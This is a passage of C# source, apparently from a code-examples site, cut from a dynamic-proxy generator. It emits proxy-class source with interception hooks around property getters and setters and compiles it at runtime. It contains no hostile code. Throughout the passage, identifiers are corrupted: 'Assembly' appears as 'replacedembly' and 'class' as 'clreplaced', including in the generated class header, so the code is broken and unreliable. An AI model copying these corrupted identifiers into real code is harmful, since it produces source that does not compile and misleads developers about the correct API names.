{propGetModification} get
{{
Exception __DP_ARG___exception = null;
var __DP_ARG___is_return = false;
object __DP_ARG___return_value = null;
var __DP_ARG___parameters = new Dictionary<string, object>();
{getMatchedAttributesCode(prop2.PropertyType, DynamicProxyInjectorType.PropertyGet, false, attrsIndex, "Before")}
try
{{
if (__DP_ARG___is_return == false) __DP_ARG___return_value = base.{prop2.Name};
}}
catch (Exception __DP_ARG___ex)
{{
__DP_ARG___exception = __DP_ARG___ex;
}}
{getMatchedAttributesCode(prop2.PropertyType, DynamicProxyInjectorType.PropertyGet, false, attrsIndex, "After")}
{getMatchedAttributesCodeReturn(prop2.PropertyType, DynamicProxyInjectorType.Method, false, null)}
}}");
}
if (setMethod != null)
{
if (setMethodAttributeAny == false) sb.Append($@"
{propSetModification} set
{{
base.{prop2.Name} = value;
}}");
else sb.Append($@"
{propSetModification} set
{{
Exception __DP_ARG___exception = null;
var __DP_ARG___is_return = false;
object __DP_ARG___return_value = null;
var __DP_ARG___parameters = new Dictionary<string, object>();
__DP_ARG___parameters.Add(""value"", value);
{getMatchedAttributesCode(prop2.PropertyType, DynamicProxyInjectorType.PropertySet, false, attrsIndex, "Before")}
try
{{
if (__DP_ARG___is_return == false)
{{{getMatchedAttributesCodeAuditParameter("value", prop2.PropertyType)}
base.{prop2.Name} = value;
}}
}}
catch (Exception __DP_ARG___ex)
{{
__DP_ARG___exception = __DP_ARG___ex;
}}
{getMatchedAttributesCode(prop2.PropertyType, DynamicProxyInjectorType.PropertySet, false, attrsIndex, "After")}
}}");
}
sb.Append($@"
}}");
}
#endregion
string proxyCscode = "";
replacedembly proxyreplacedembly = null;
Type proxyType = null;
if (matchedMemberInfos.Any())
{
#region Constructors
sb = new StringBuilder();
var fromServicesTypes = matchedAttributesFromServices.SelectMany(fs => fs).GroupBy(a => a.FieldType).Select((a, b) => new KeyValuePair<Type, string>(a.Key, $"__DP_ARG___FromServices_{b}")).ToDictionary(a => a.Key, a => a.Value);
sb.Append(string.Join("", fromServicesTypes.Select(serviceType => $@"
private {serviceType.Key.DisplayCsharp()} {serviceType.Value};")));
foreach (var ctor in ctors)
{
var ctorParams = ctor.GetParameters();
sb.Append($@"
{(ctor.IsPrivate ? "private " : "")}{(ctor.IsFamily ? "protected " : "")}{(ctor.Isreplacedembly ? "internal " : "")}{(ctor.IsPublic ? "public " : "")}{clreplacedName}({string.Join(", ", ctorParams.Select(a => $"{a.ParameterType.DisplayCsharp()} {a.Name}"))}{
(ctorParams.Any() && fromServicesTypes.Any() ? ", " : "")}{
string.Join(", ", fromServicesTypes.Select(serviceType => $@"{serviceType.Key.DisplayCsharp()} parameter{serviceType.Value}"))})
: base({(string.Join(", ", ctorParams.Select(a => a.Name)))})
{{{string.Join("", fromServicesTypes.Select(serviceType => $@"
{serviceType.Value} = parameter{serviceType.Value};"))}
}}");
}
for (var a = 0; a < matchedAttributesFromServices.Count; a++)
{
sb.Append($@"
private void __DP_ARG___attribute{a}_FromServicesCopyTo({_idynamicProxyName} attr)
{{{string.Join("", matchedAttributesFromServices[a].Select(fs => $@"
__DP_Meta.{nameof(DynamicProxyMeta.SetDynamicProxyAttributePropertyValue)}({a}, attr, ""{fs.Name}"", {fromServicesTypes[fs.FieldType]});"))}
}}");
}
#endregion
proxyCscode = $@"using System;
using System.Collections.Generic;
using System.Reflection;
using System.Text;
public clreplaced {clreplacedName} : {typeCSharpName}
{{
private {_metaName} __DP_Meta = {typeof(DynamicProxy).DisplayCsharp()}.{nameof(GetAvailableMeta)}(typeof({typeCSharpName}));
//这里要注释掉,如果重写的基类没有无参构造函数,会报错
//public {clreplacedName}({_metaName} meta)
//{{
// __DP_Meta = meta;
//}}
{sb.ToString()}
{methodOverrideSb.ToString()}
{propertyOverrideSb.ToString()}
}}";
proxyreplacedembly = isCompile == false ? null : CompileCode(proxyCscode);
proxyType = isCompile == false ? null : proxyreplacedembly.GetExportedTypes()/*.DefinedTypes*/.Where(a => a.FullName.EndsWith(clreplacedName)).FirstOrDefault();
}
methodOverrideSb.Clear();
propertyOverrideSb.Clear();
sb.Clear();
return new DynamicProxyMeta(
type, ctors,
matchedMemberInfos.ToArray(), matchedAttributes.ToArray(),
isCompile == false ? proxyCscode : null, clreplacedName, proxyreplacedembly, proxyType);
}
See More Examples